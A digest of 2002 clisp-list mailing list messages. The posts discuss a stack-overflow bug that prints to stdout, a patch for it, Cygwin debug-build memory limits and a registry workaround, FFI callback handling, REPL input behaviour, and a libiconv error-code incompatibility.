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> * In message <20021110195928.2164.qmail@g.bio.cse.psu.edu>
> * On the subject of "[clisp-list] bug report: 2.30 writes garbage to stdout"
> * Sent on Sun, 10 Nov 2002 14:59:28 -0500
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>
> bash% clisp foo.cl 2>/dev/null </dev/zero  | head

why do you re-direct input to /dev/zero?!

> *** - Lisp stack overflow. RESET
>
> *** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[1]>

of course: NULL (which is what is read from /dev/zero) is an illegal char.

> This exhibits several horrible defects in clisp.  It should print an
> error message (about stack overflow) to standard error and then simply
> exit.

well, this is what CLISP usually does.
stack overflow appears to be different.
please try the appended patch.

> Second, it writes garbage to standard output.  No runtime system can
> ever be allowed to do that.

you gave a bad stdin.

> Third, the break loop reads from standard input.

where a break loop should read from?!

> I'm not subscribed to clisp-list, so please cc any replies.

I cannot guarantee that everyone who replies to your message will do
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--- spvw.d.~1.204.~	2002-11-01 13:09:51.000000000 -0500
+++ spvw.d	2002-11-10 19:04:24.000000000 -0500
@@ -474,11 +474,17 @@
 # At overflow of one of the stacks:
 nonreturning_function(global, SP_ueber, (void)) {
   asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET"));
+  if (interactive_stream_p(Symbol_value(S(debug_io))))
   reset();
+  /* non-interactive session: quit */
+  else { asciz_out(NLstring); final_exitcode=1; quit(); }
 }
 nonreturning_function(global, STACK_ueber, (void)) {
   asciz_out(GETTEXTL(NLstring "*** - " "Lisp stack overflow. RESET"));
+  if (interactive_stream_p(Symbol_value(S(debug_io))))
   reset();
+  /* non-interactive session: quit */
+  else { asciz_out(NLstring); final_exitcode=1; quit(); }
 }
 
 # ----------------------------------------------------------------------------


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| > * In message <20021110195928.2164.qmail@g.bio.cse.psu.edu>
| > * On the subject of "[clisp-list] bug report: 2.30 writes garbage to stdout"
| > * Sent on Sun, 10 Nov 2002 14:59:28 -0500
| > * Honorable Scott Schwartz <schwartz@bio.cse.psu.edu> writes:
| >
| > bash% clisp foo.cl 2>/dev/null </dev/zero  | head
| 
| why do you re-direct input to /dev/zero?!

Just to provide you with a minimal example.
Any piped input would do as well.

In general 
1) standard input is not a tty.
2) standard input is not a user.
3) standard input is not plain text.

write

  cat /bin/clisp | clisp foo.cl 2>/dev/null | wc

if you prefer.  

| > *** - Lisp stack overflow. RESET
| >
| > *** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[1]>
| 
| of course: NULL (which is what is read from /dev/zero) is an illegal char.

It should not be reading *any* characters!  There should be *no* break
loop in this situation!

That to the side, ASCII NUL is *not* an illegal character.  It's perfectly
valid, just like any other.

And what's this "*terminal-io*" stuff?  There is no terminal, and no user,
in the example I gave.

| well, this is what CLISP usually does.
| stack overflow appears to be different.
| please try the appended patch.
 
It looks wrong to me.

 nonreturning_function(global, SP_ueber, (void)) {
   asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET"));
+  if (interactive_stream_p(Symbol_value(S(debug_io))))
   reset();
+  /* non-interactive session: quit */
+  else { asciz_out(NLstring); final_exitcode=1; quit(); }
 }

That still unconditionally spews garbage 
	"*** - " "Program stack overflow. RESET"
to stdout.  How many other places does that happen?

What does clisp think an interactive stream is, and why is that relevent?
You might want your debugger to be talking over a socket, right?

Why is debug_io open at all?  In general there is no file descriptor that
it could possibly be connected to.  Inside of a special development repl
is the only time this could make sense.

| > Second, it writes garbage to standard output.  No runtime system can
| > ever be allowed to do that.
| 
| you gave a bad stdin.

No I didn't!  The initial "*** - Lisp stack overflow. RESET" message was
printed to stdout without reading anything from stdin.  That's totally
unsolicited, and totally erroneous.

In any case, "you gave bad stdin" is no excuse.  The runtime system is
not allowed to write garbage down my pipes!  That's what standard error
is for!

| > Third, the break loop reads from standard input.
| 
| where a break loop should read from?!

It can't.  The concept doesn't make sense, unless you are talking to a
user in a user-requested debugging situation.  In general, every open
file descriptor is connected to another program, with no user in sight.

If you run clisp with the (hypothetical) --interactive-development flag,
then you can have your debugger read from (user specified) somewhere.
(Maybe /dev/tty, maybe /dev/stdin, maybe something else.)  Otherwise,
don't touch anything.  There is no console.  There is no user.  Just exit.

It's like those times when you see DOS-based Kiosks and other
non-interactive appliances with "keyboard error, strike any key to
continue" messages on the display.



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Hello Sam,

Monday, November 11, 2002, 3:06:07 AM, you wrote:

>> Is there a document, it the clisp distribution that covers the various
>> safety and debugging options available for clisp compilation?

> configure builds CLISP with SAFETY=0 and gcc -O2
> --with-debug means SAFETY=3 and gcc -g.
Did you ever build clisp with cygwin & gcc & --with-debug ?
It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
(this is cygwin bug or limitation). I investigated cygwin-list and
this problem seems quite old.

Dan, please tell if you'll successfully build with-debug.

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Dan Stanger wrote:
>The flow of control is roughly:
>create window which enters a microsoft dll.
>windowproc my subroutine which is called by the microsoft dll
>funcall which calls the lisp oncreate function.
>
>The funcall causes the lisp stack overflow.
>
>Do I need to add a begin_callback()/end_callback() around the funcall?

Yes, not only around the funcall, but as soon as you do anything with the lisp world, e.g. pushSTACK() prior to the funcall etc.

If the callback is a Lisp function (typically obtained when passing a Lisp function as argument via the FFI), begin/end_callback() is taken care of for you in src/foreign.d:callback() and by the CLISP compiler of DEF-CALL-IN forms.

The explicit begin/end_callback() is needed if you write C (glue) code and access (or call) some Lisp data from there.


BTW, why don't you let the FFI build the callback for you, if all you do anyway is call a Lisp function?


>(gdi::initc *functions* #'onCreate)
You didn't show initc's signature, but it looks like a foreign function. If it is such, depending on the signature, it receives the parameter f as a pointer to a (C-style trampoline) function (and *not* as a pointer to a Lisp function object). See also src/foreign.d:convert_function_to_foreign().

Therefore, the way to call it (from C) is not via funcall, but using C call style.

E.g.
>     pushSTACK(allocate_fpointer(hWnd));
>     funcall(O(onCreate),1); // fails in this call
seems wrong.
Instead you can use
  void (*onCreate)(WINDOWS_HANDLE h); /* as a C variable */
     /* 1 argument callback */
in initc: onCreate = (cast) (second argument value);
and in the C part of the callback:
  (*onCreate)(hWnd);

Or you can invoke convert_function_to_foreign() and also free_foreign_callin() on your own. Sadly, these are not exported from foreign.d (at least in 2.28).


NB: You must create callback objects (i.e. trampolines) if you expect to create callbacks to Lisp on your own! The reason is that the address of actual Lisp function changes via GC and the begin/end_callback() stuff. The trampoline machinery in foreign.d and ffcall/ is explicitly there for this purpose (and maintains a mapping from fixed addresses to moving Lisp functions).


Did that help?

Regards,
	Jorg Hohle.


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Kaz Kylheku wrote:

> then type (on one line)
>  2 3 4 5
>This is probably because CLISP is reading your terminal input in
>character-at-a-time mode. So the read of 3 completes as soon as the
>space character is read in, and no additional characters are buffered
>from the operating system. No characters buffered means that there is
>nothing to discard. This is how CLISP behaves on Unix.

Strange. This differs from how - unverified - CLISP behaves on AmigaOS, where, even in character a t a t i m e mode, the input device (and associate processes) will know that 4 and 5 have already been typed (the keystrokes made it to the OS, after all!), and an application can query this fact, so CLISP will skip past them.

Is readline active in Don's windows CLISP?

Does type ahead cause trouble when CLISP enters a debugger loop or does discarding input work fine there? That's the typical use-case for CLEAR-INPUT.

BTW, Kaz, thanks for your informative posts on various subjects, e.g. FFI.

Regards,
	Jorg Hohle.


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I got to that point also.  Is there no workaround?
I was going to build ar with debug, to see if I could run it with gdb.
Dan

Arseny Slobodjuck wrote:

> Hello Sam,
>
> Monday, November 11, 2002, 3:06:07 AM, you wrote:
>
> >> Is there a document, it the clisp distribution that covers the various
> >> safety and debugging options available for clisp compilation?
>
> > configure builds CLISP with SAFETY=0 and gcc -O2
> > --with-debug means SAFETY=3 and gcc -g.
> Did you ever build clisp with cygwin & gcc & --with-debug ?
> It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
> (this is cygwin bug or limitation). I investigated cygwin-list and
> this problem seems quite old.
>
> Dan, please tell if you'll successfully build with-debug.
>
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> * In message <1802873351.20021111171624@ich.dvo.ru>
> * On the subject of "Re[2]: [clisp-list] Compile and Debugging options"
> * Sent on Mon, 11 Nov 2002 17:16:24 +1000
> * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
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> Monday, November 11, 2002, 3:06:07 AM, you wrote:
> 
> >> Is there a document, it the clisp distribution that covers the various
> >> safety and debugging options available for clisp compilation?
> 
> > configure builds CLISP with SAFETY=0 and gcc -O2
> > --with-debug means SAFETY=3 and gcc -g.
> Did you ever build clisp with cygwin & gcc & --with-debug ?
> It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
> (this is cygwin bug or limitation). I investigated cygwin-list and
> this problem seems quite old.

yes,  I have seen this, but it does not prevent you from debugging
CLISP on cygwin.  this error happens after lisp.run is already there.

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Hello Dan,

Monday, November 11, 2002, 11:43:00 PM, you wrote:

> I got to that point also.  Is there no workaround?
I didn't found any.

> I was going to build ar with debug, to see if I could run it with gdb.
Wow, cool. But the problem seems to be not in ar but in memory management.
It's my impression.

Need to scan cygwin-list for the pass 2.

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> * In message <20021111014818.3594.qmail@g.bio.cse.psu.edu>
> * On the subject of "Re: [clisp-list] bug report: 2.30 writes garbage to stdout "
> * Sent on 10 Nov 2002 20:48:18 -0500
> * Honorable Scott Schwartz <schwartz@bio.cse.psu.edu> writes:
>
> | > *** - Lisp stack overflow. RESET
> | >
> | > *** - READ from #<IO SYNONYM-STREAM *TERMINAL-IO*>: illegal character #\Null[1]>
> | 
> | of course: NULL (which is what is read from /dev/zero) is an illegal char.
> 
> It should not be reading *any* characters!  There should be *no* break
> loop in this situation!

that was a bug, it has been fixed.

> That to the side, ASCII NUL is *not* an illegal character.  It's
> perfectly valid, just like any other.

wrong. please see CLHS.

> | well, this is what CLISP usually does.
> | stack overflow appears to be different.
> | please try the appended patch.
>  
> It looks wrong to me.
> 
>  nonreturning_function(global, SP_ueber, (void)) {
>    asciz_out(GETTEXTL(NLstring "*** - " "Program stack overflow. RESET"));
> +  if (interactive_stream_p(Symbol_value(S(debug_io))))
>    reset();
> +  /* non-interactive session: quit */
> +  else { asciz_out(NLstring); final_exitcode=1; quit(); }
>  }
> 
> That still unconditionally spews garbage 
> 	"*** - " "Program stack overflow. RESET"
> to stdout.

A lot of CLISP low-level stuff is a hold-over from the Amiga days where
probably there was no difference between stdout and stderr.
At any rate, making asciz_out() print to stderr instead of stdout is
probably not a very good idea.

Patches are welcome.

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Sam Steingold wrote:

> > * In message <1802873351.20021111171624@ich.dvo.ru>
> > * On the subject of "Re[2]: [clisp-list] Compile and Debugging options"
> > * Sent on Mon, 11 Nov 2002 17:16:24 +1000
> > * Honorable Arseny Slobodjuck <ampy@ich.dvo.ru> writes:
> >
> > Monday, November 11, 2002, 3:06:07 AM, you wrote:
> >
> > >> Is there a document, it the clisp distribution that covers the various
> > >> safety and debugging options available for clisp compilation?
> >
> > > configure builds CLISP with SAFETY=0 and gcc -O2
> > > --with-debug means SAFETY=3 and gcc -g.
> > Did you ever build clisp with cygwin & gcc & --with-debug ?
> > It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
> > (this is cygwin bug or limitation). I investigated cygwin-list and
> > this problem seems quite old.
>
> yes,  I have seen this, but it does not prevent you from debugging
> CLISP on cygwin.  this error happens after lisp.run is already there.

Does this mean that I can just touch lisp.a, and continue?  What is lisp.a
needed for?
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> * In message <3DCFC7CE.CE812877@ieee.org>
> * On the subject of "Re: Compile and Debugging options"
> * Sent on Mon, 11 Nov 2002 08:07:58 -0700
> * Honorable Dan Stanger <dan.stanger@ieee.org> writes:
>
> Sam Steingold wrote:
> 
> > yes,  I have seen this, but it does not prevent you from debugging
> > CLISP on cygwin.  this error happens after lisp.run is already there.
> 
> Does this mean that I can just touch lisp.a, and continue?

depends on what you want to accomplish. :-)
I _think_ you should be able to debug CLISP on cygwin despite this
problem... 

> What is lisp.a needed for?

it's for making binary distributions.

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Hi,

>A lot of CLISP low-level stuff is a hold-over from the Amiga days where
>probably there was no difference between stdout and stderr.

Er, CLISP was initially written on the Atari, in assembly language(!). When I joined in, in 1992, with interest in an Amiga port, Bruno decided that using the assembly version was a dead end - I never saw it. He and Marcus Stoll had already rewritten most (all?) parts in C - which is still very similar to the CLISP sources we see nowadays. CLISP once ran using 1,5MB of RAM on my box.

The AmigaOS distinguishes stdout from stderr, even though the AmigaOS port has never used a C std library (it used the equivalent of .dll and native OS functions instead, e.g. dos.library/Delete() instead of unlink() or remove()).


>At any rate, making asciz_out() print to stderr instead of stdout is
>probably not a very good idea.

Probably another function need be included to write to stderr (or its equivalent on other systems) - not sure. debug_out() and asciz_out() are really low-level issues, possibly from Atari times. A UNIX programmer nowadays would just presuppose the existence of stderr.

Note however that CLISP tried not to mix levels. It did not use (or not at all) use std C I/O (e.g. fopen, fprintf, stdout, stderr names) and sticked to the (UNIX-like) level below (e.g. open, read, write) - in many ports.

To me, using names like stderr or stdout means including all of C std I/O, even if it's otherwise completely avoided in the source - there was a reason.

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	Jorg Hohle.


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Dan wrote:

>What is lisp.a needed for?
Isnt'it used by the clisp-link etc. scripts, used when including modules?

So that might become a problem for Dan.

IIRC, the idea is to be able to say:
take your modules, then
 ld -o myclisp modules.o myadditionalobjects.o -l lisp.a libc.a/so/lib

but that's just convenience instead of writing all of CLISP's .o files explicitly - you get them anyway when compiling CLISP.

As I once said, I never used the clisp-link script to create modules on the Amiga, nor on MS-Windows. But I didn't automate the jobs either, which is needed for distributions.

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Date: Mon Nov 11 07:50:08 2002
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Dan, Arseny,

Look into the Cygwin registry setting "heap_chunk_in_mb". It's used to 
override the default 256 megabyte-per-process heap limit for Cygwin 
processes. I've had to use it to accomplish an optimized compile one module 
of an interpreter (XSB Prolog) that had a large switch statement (that was 
a few years ago using GCC 2.95--GCC 3.2 is now available under Cygwin).


This recipe from Charles Werner (posted in a message with the Subject 
"fixing heap_chunk_in_mb to 512MB doesn't work" on "Fri, 06 Sep 2002 
15:03:48 +0200" should be helpful:

-==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==-
Re: Cygwin memory limit

Recently I wanted to increase the program/data memory limit for cygwin 
beyond the default 256 MB and a quick scan of the cygwin list revealed this 
thread. I was able to get this to work by doing the following:

1. modify the registry, adding a DWORD value  heap_chunk_in_mb and setting 
it to 1024 using the regtool that is part of the cygtools package in 
cygwin. The value here is in decimal Mbytes:

regtool -i  set  /HKCU/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 1024
regtool -v  list  /HKCU/Software/Cygnus\ Solutions/Cygwin

2. rebooting the machine
3. turning off the inetd service (if you have installed the cygwin inetd 
service)
4. restarting the inetd service
5. open a cygwin bash shell window.

I tested the memory allocation using the following little C program, 
compiled with:

gcc -O  max_mem.c -o max_mem.exe

#include "stdlib.h"
#include "stdio.h"

int main(int argc, char **argv)
{
  char *m;
  int mb;
  size_t n;
  if(argc < 2) {
    printf("usage: %s <Mb>\n\n",argv[0]) ;
    printf("input parameters: \n");
    printf("  MB            number of MB of memory to allocate\n");
    exit(-1);
  }
  sscanf(argv[1],"%d",&n);
  m = malloc((size_t)n*1024*1024);
  if(m == NULL){fprintf(stderr,"cannot allocate memory %d MB of 
memory\n",n); exit(-1);}
  else printf("allocated %d MB of memory\n",n);
  free(m);
  return(0);
}

My system is an NT4 SP5 machine running the latest cygwin dll  version 
1.3.12. I also tried this on a win2K SP2 system sucessfully.

Cheers,
Charles

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Thunstrasse 130
CH-3074 Muri b. Bern, Switzerland

http://www.gamma-rs.ch
-==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==-


Note this from the release notes for Cygwin 1.3.14-1:

- Accept heap_chunk_in_mb intry in HKEY_LOCAL_MACHINE, too,
   to allow global setting.  (Christopher Faylor)


Randall Schulz
Mountain View, CA USA


At 23:16 2002-11-10, Arseny Slobodjuck wrote:
>Hello Sam,
>
>Monday, November 11, 2002, 3:06:07 AM, you wrote:
>
> >> Is there a document, it the clisp distribution that covers the various
> >> safety and debugging options available for clisp compilation?
>
> > configure builds CLISP with SAFETY=0 and gcc -O2
> > --with-debug means SAFETY=3 and gcc -g.
>
>Did you ever build clisp with cygwin & gcc & --with-debug ?
>It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
>(this is cygwin bug or limitation). I investigated cygwin-list and
>this problem seems quite old.
>
>Dan, please tell if you'll successfully build with-debug.
>
>--
>Best regards,
>  Arseny



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 > Is readline active in Don's windows CLISP?
I think not.  At least the usual mechanism for retrieving the previous
input seems not to work.  Perhaps it's a different keystroke in a dos
box, or different in windows.  This was a binary download.  
If important, tell me how to test it.

 > Does type ahead cause trouble when CLISP enters a debugger loop or
  does discarding input work fine there? That's the typical use-case for
  CLEAR-INPUT. 
I don't know.  I'm not sure how you want me to test that.
But I notice that input seems to be discarded by the top level
read-eval-print loop.  Which I suppose is the same thing.
That is, if I type
 (read)3
I don't immediately see 3 returned.  Rather it waits for input.
Then if I type 
 4
it returns 4.

Is this normal?


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I was able to compile with safety=3 after I did this on W2K, sp2.
make check passed all tests.

However, I have another problem.
Following is the backtrace:


This GDB was configured as "i686-pc-cygwin"...
(gdb) run
Starting program: /cygdrive/e/clisp-2.30/cygwin/gdi+base/lisp.exe

Program received signal SIGSEGV, Segmentation fault.
0x0043fb49 in main (argc=1, argv=0x100216d8) at spvw.d:1684
1684      user_uid = getuid();
(gdb) backtrace
#0  0x0043fb49 in main (argc=1, argv=0x100216d8) at spvw.d:1684
#1  0x61007288 in _libuser32_a_iname ()
#2  0x6100753d in _libuser32_a_iname ()
#3  0x005a7642 in cygwin_crt0 ()
#4  0x0040103c in mainCRTStartup ()
#5  0x77e97d08 in _libuser32_a_iname ()
(gdb) quit
The program is running.  Exit anyway? (y or n) y

The program is coreing in the first system call, after I link in
my module.  This does not happen when I compile without SAFETY, but
optimizations disabled.  I welcome any advice.
Thanks,
Dan Stanger

>Randall R Schulz wrote:
>
> Dan, Arseny,
>
> Look into the Cygwin registry setting "heap_chunk_in_mb". It's used to
> override the default 256 megabyte-per-process heap limit for Cygwin
> processes. I've had to use it to accomplish an optimized compile one module
> of an interpreter (XSB Prolog) that had a large switch statement (that was
> a few years ago using GCC 2.95--GCC 3.2 is now available under Cygwin).
>
> This recipe from Charles Werner (posted in a message with the Subject
> "fixing heap_chunk_in_mb to 512MB doesn't work" on "Fri, 06 Sep 2002
> 15:03:48 +0200" should be helpful:
>
> -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==-
> Re: Cygwin memory limit
>
> Recently I wanted to increase the program/data memory limit for cygwin
> beyond the default 256 MB and a quick scan of the cygwin list revealed this
> thread. I was able to get this to work by doing the following:
>
> 1. modify the registry, adding a DWORD value  heap_chunk_in_mb and setting
> it to 1024 using the regtool that is part of the cygtools package in
> cygwin. The value here is in decimal Mbytes:
>
> regtool -i  set  /HKCU/Software/Cygnus\ Solutions/Cygwin/heap_chunk_in_mb 
> 1024
> regtool -v  list  /HKCU/Software/Cygnus\ Solutions/Cygwin
>
> 2. rebooting the machine
> 3. turning off the inetd service (if you have installed the cygwin inetd
> service)
> 4. restarting the inetd service
> 5. open a cygwin bash shell window.
>
> I tested the memory allocation using the following little C program,
> compiled with:
>
> gcc -O  max_mem.c -o max_mem.exe
>
> #include "stdlib.h"
> #include "stdio.h"
>
> int main(int argc, char **argv)
> {
>   char *m;
>   int mb;
>   size_t n;
>   if(argc < 2) {
>     printf("usage: %s <Mb>\n\n",argv[0]) ;
>     printf("input parameters: \n");
>     printf("  MB            number of MB of memory to allocate\n");
>     exit(-1);
>   }
>   sscanf(argv[1],"%d",&n);
>   m = malloc((size_t)n*1024*1024);
>   if(m == NULL){fprintf(stderr,"cannot allocate memory %d MB of
> memory\n",n); exit(-1);}
>   else printf("allocated %d MB of memory\n",n);
>   free(m);
>   return(0);
> }
>
> My system is an NT4 SP5 machine running the latest cygwin dll  version
> 1.3.12. I also tried this on a win2K SP2 system sucessfully.
>
> Cheers,
> Charles
>
> --
> Dr. Charles L. Werner
> Gamma Remote Sensing AG
> Thunstrasse 130
> CH-3074 Muri b. Bern, Switzerland
>
> http://www.gamma-rs.ch
> -==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==-
>
> Note this from the release notes for Cygwin 1.3.14-1:
>
> - Accept heap_chunk_in_mb intry in HKEY_LOCAL_MACHINE, too,
>    to allow global setting.  (Christopher Faylor)
>
> Randall Schulz
> Mountain View, CA USA
>
> At 23:16 2002-11-10, Arseny Slobodjuck wrote:
> >Hello Sam,
> >
> >Monday, November 11, 2002, 3:06:07 AM, you wrote:
> >
> > >> Is there a document, it the clisp distribution that covers the various
> > >> safety and debugging options available for clisp compilation?
> >
> > > configure builds CLISP with SAFETY=0 and gcc -O2
> > > --with-debug means SAFETY=3 and gcc -g.
> >
> >Did you ever build clisp with cygwin & gcc & --with-debug ?
> >It stops at 'ar rcv lisp.a lisp.o' point with 'memory exhausted'
> >(this is cygwin bug or limitation). I investigated cygwin-list and
> >this problem seems quite old.
> >
> >Dan, please tell if you'll successfully build with-debug.
> >
> >--
> >Best regards,
> >  Arseny


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> * In message <15823.64361.108946.779469@isis.cs3-inc.com>
> * On the subject of "[clisp-list] Re: clear-input not working from dos box?"
> * Sent on Mon, 11 Nov 2002 10:48:09 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
> But I notice that input seems to be discarded by the top level
> read-eval-print loop.  Which I suppose is the same thing.
> That is, if I type
>  (read)3
> I don't immediately see 3 returned.  Rather it waits for input.
> Then if I type 
>  4
> it returns 4.

CLISP REPL works like this: first we read a line and check for commands
(like "help" ":w" &c), then, if there was no command, we create a
concatenated stream out of the line and *STANDARD-INPUT* and read from
there.  I.e., the first line can contain at most 1 form.

See read_form() in debug.d.

An obvious alternative is to read from *STANDARD-INPUT* and then look up
the form read in the *KEY-BINDINGS* table.

The problem is that this way you will not be able to evaluate symbols
like "help" because they will be interpreted as commands.

Using only keywords for commands is not backward compatible and is
unlikely to happen (Bruno has explicitly vetoed it a couple of years
ago).

All this is only relevant when *STANDARD-INPUT* is interactive.

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 > > But I notice that input seems to be discarded by the top level
 > > read-eval-print loop.  Which I suppose is the same thing.
 > > That is, if I type
 > >  (read)3
 > > I don't immediately see 3 returned.  Rather it waits for input.
 > > Then if I type 
 > >  4
 > > it returns 4.
 > 
 > CLISP REPL works like this: first we read a line and check for commands
 > (like "help" ":w" &c), then, if there was no command, we create a
 > concatenated stream out of the line and *STANDARD-INPUT* and read from
 > there.  I.e., the first line can contain at most 1 form.
I don't see why that means the rest of the first line is discarded.
If I type
(read)3
then the concatenated stream still contains "(read)3", right?
If I do (read)(read) from that stream shouldn't I get the 3 on the
second read?

 > An obvious alternative is to read from *STANDARD-INPUT* and then look up
 > the form read in the *KEY-BINDINGS* table.
 > 
 > The problem is that this way you will not be able to evaluate symbols
 > like "help" because they will be interpreted as commands.
Doesn't this have the same problem?
If I type help that could either be the name of a variable or a
command.  I guess for the variable I have to type something like
(progn help) or
package:help or maybe 
 help ?

I've occasionally noticed problems like
- I type abort and get another level of error cause ABORT has no value
- I type abort and get another level of error cause BORT has no value.
I never looked into them, but it sounds related.


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> * In message <15824.8756.82051.728225@isis.cs3-inc.com>
> * On the subject of "Re: [clisp-list] Re: clear-input not working from dos box?"
> * Sent on Mon, 11 Nov 2002 13:33:40 -0800
> * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes:
>
>  > > But I notice that input seems to be discarded by the top level
>  > > read-eval-print loop.  Which I suppose is the same thing.
>  > > That is, if I type
>  > >  (read)3
>  > > I don't immediately see 3 returned.  Rather it waits for input.
>  > > Then if I type 
>  > >  4
>  > > it returns 4.
>  > 
>  > CLISP REPL works like this: first we read a line and check for commands
>  > (like "help" ":w" &c), then, if there was no command, we create a
>  > concatenated stream out of the line and *STANDARD-INPUT* and read from
>  > there.  I.e., the first line can contain at most 1 form.
> I don't see why that means the rest of the first line is discarded.
> If I type
> (read)3
> then the concatenated stream still contains "(read)3", right?
> If I do (read)(read) from that stream shouldn't I get the 3 on the
> second read?

your READ does not read from the concatenated stream but from
*STANDARD-INPUT*.  note that read_form() does not set *STANDARD-INPUT*.

>  > An obvious alternative is to read from *STANDARD-INPUT* and then look up
>  > the form read in the *KEY-BINDINGS* table.
>  > 
>  > The problem is that this way you will not be able to evaluate symbols
>  > like "help" because they will be interpreted as commands.
> Doesn't this have the same problem?
> If I type help that could either be the name of a variable or a
> command.  I guess for the variable I have to type something like
> (progn help) or
> package:help or maybe 
>  help ?

indeed.
right now, a space before the variable name or a package prefix works,
but if we just READ from *STANDARD-INPUT* without the READ-LINE trick,
only PROGN will work.

> I've occasionally noticed problems like
> - I type abort and get another level of error cause ABORT has no value
haven't seen this for quite a while.
I thought I fixed that...

> - I type abort and get another level of error cause BORT has no value.
never seen that!

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I determined the cause of the problem.
Following is the incorrect code:
     object p;
     begin_callback();
     p = allocate_fpointer(hWnd);
     pushSTACK(p);
     end_callback();
     begin_callback();
     funcall(O(onCreate),1);
     end_callback();
A stackcheck is done between the pushSTACK and the funcall,
and of course, my fpointer was stored on the stack.
Following is the corrected code:
     object p;
     begin_callback();
     p = allocate_fpointer(hWnd);
     pushSTACK(p);
     funcall(O(onCreate),1);
     end_callback();

However, I still don't understand why linking in my module causes a
failure with SAFETY>1 on entry to clisp.
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Hi

I did not follow clisp-list very closely recently.  I just want to
know if the following bug has been fixed.

==============================================================================
[1]> (compile-file-pathname "foo.lisp")

*** - UNIX error 13 (EACCES): Permission denied
1. Break [3]> 
==============================================================================

It is a bit of a show stopper for me.

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> * In message <200211121424.gACEONE18598@octagon.valis.nyu.edu>
> * On the subject of "[clisp-list] Has this been fixed? COMPILE-FILE-PATHNAME fails on 2.30"
> * Sent on Tue, 12 Nov 2002 09:24:23 -0500
> * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
>
> [1]> (compile-file-pathname "foo.lisp")
> 
> *** - UNIX error 13 (EACCES): Permission denied

fixed on 2002-10-22

> It is a bit of a show stopper for me.

use CVS HEAD.

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> fixed on 2002-10-22

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Ok

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Hi,

here's something from comp.lang.lisp IMHO relevant to a recent =
discussion on clisp-list:

From: Duane Rettig <duane@franz.com>
Subject: Re: Checking for EOF
Newsgroups: comp.lang.lisp
Date: Mon, 11 Nov 2002 22:00:01 GMT

[...]
If you use simple-streams, bivalence comes for free, and you don't have
to worry about whether you are testing for characters or octets; the
same functionality tends to be used for both.  Although if there is a
chance that your stream which has a multibyte external-format might
have half-a-character before the eof, then instead of testing for
characters, you might want to test for octet availability;
simple-streams offers a read-no-hang-p function to check _any_
avaiability of data on the stream, including just one octet, whereas
listen, stream-listen, and read-char-no-hang all try to build a
character, and might end up either giving you a false end-of-file
indication half-a-character early, or else never giving you an eof
(each being consequenses of not being able to complete that last
character).


The CLISP-related discussion was about [tiny parts of it]:
>Sam Steingold wrote:
>>  In addition to READ-SEQUENCE-ONCE, you
>>will need also READ-CHAR-SEQUENCE-ONCE and READ-BYTE-SEQUENCE-ONCE
>>(and make them generic functions too - see gray.lisp)
> We already have READ-CHAR-NO-HANG and READ-BYTE-NO-HANG, so, I think,
> READ-SEQUENCE-NO-HANG is the right name, if we really need it.
J=F6rg H=F6hle wrote:
>I fear this is going into nightmares -- consider the=20
>multi-byte character / partial read interaction (e.g. that=20
>other current thread about Chinese): what if you read only=20
>half of a 2byte character?

My long-time feeling is that CLISP's streams is not the best one can =
get. A native simple-streams *may* solve many problems CLISP currently =
faces. That means another rewrite of that huge stream.d file. :-(

Regards,
	J=F6rg H=F6hle.


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Hi,

Tuesday, November 12, 2002, 1:49:25 AM, you wrote:

> Look into the Cygwin registry setting "heap_chunk_in_mb".

Thank you.

It didn't help. While heap_chunk_in_mb affects this allocation test
program, ar still doesn't work. But I don't have 1024 Mb of memory
anyway... Max is 400 Mb, but ar cannot require so much memory to
put 8Mb obj to library...

Just want you to know.

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Hi,

What does it mean when iconv() returns ENOENT ? It happens during
cygwin build - as reported by Alex Tibbles. It happened after I
updated cygwin so it may be related with newer version of libiconv.
But it may be not...

> ;; Loading file type.lisp ...
> *** - UNIX error 2 (ENOENT): No such file or directory
> *** - EVAL: the function %SAVEINITMEM is undefined

I tracked the problem down to iconv call (checking of char 128 of
ISO-2022-KR). "Call stack":
init.lisp
type.lisp
charset-range
charset-typep
iconv_range
iconv

 May be there's an easy explanation of this error ?

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> What does it mean when iconv() returns ENOENT ? It happens during
> cygwin build - as reported by Alex Tibbles. It happened after I
> updated cygwin so it may be related with newer version of libiconv.

Indeed. On systems like cygwin, libiconv has to #define EILSEQ by itself.
In libiconv 1.7 I used to
  #define EILSEQ EINVAL
but this was a mistake, and so in libiconv 1.8 it is changed to
  #define EILSEQ ENOENT

So it is a binary incompatibility; sorry that should have been advertised
in libiconv 1.8's README.

The fix is to rebuild clisp against libiconv-1.8's <iconv.h> file.

Fortunately, libintl (which also uses libiconv) doesn't need to be
rebuilt.

Bruno


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Hello Bruno,

Thursday, November 21, 2002, 11:56:24 PM, you wrote:

>> What does it mean when iconv() returns ENOENT ? It happens during
>> cygwin build - as reported by Alex Tibbles. It happened after I
>> updated cygwin so it may be related with newer version of libiconv.

> Indeed. On systems like cygwin, libiconv has to #define EILSEQ by itself.
> In libiconv 1.7 I used to
>   #define EILSEQ EINVAL
> but this was a mistake, and so in libiconv 1.8 it is changed to
>   #define EILSEQ ENOENT

> So it is a binary incompatibility; sorry that should have been advertised
> in libiconv 1.8's README.

I think now I know what happens. Cygwin didn't have EILSEQ until recently.
But now it does. So when I compile clisp even with new iconv.h,
EILSEQ is not redefined in my binaries, but it is redefined in iconv library.

I cannot build libiconv on cygwin by myself. It doesn't pass configure
stage and I don't know much about that (configure, autoconf, libtool,
m4 etc).

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 Arseny    




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Date: Fri Nov 22 04:33:06 2002
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Hello there.
I'm wondering what this means for compiling clisp on
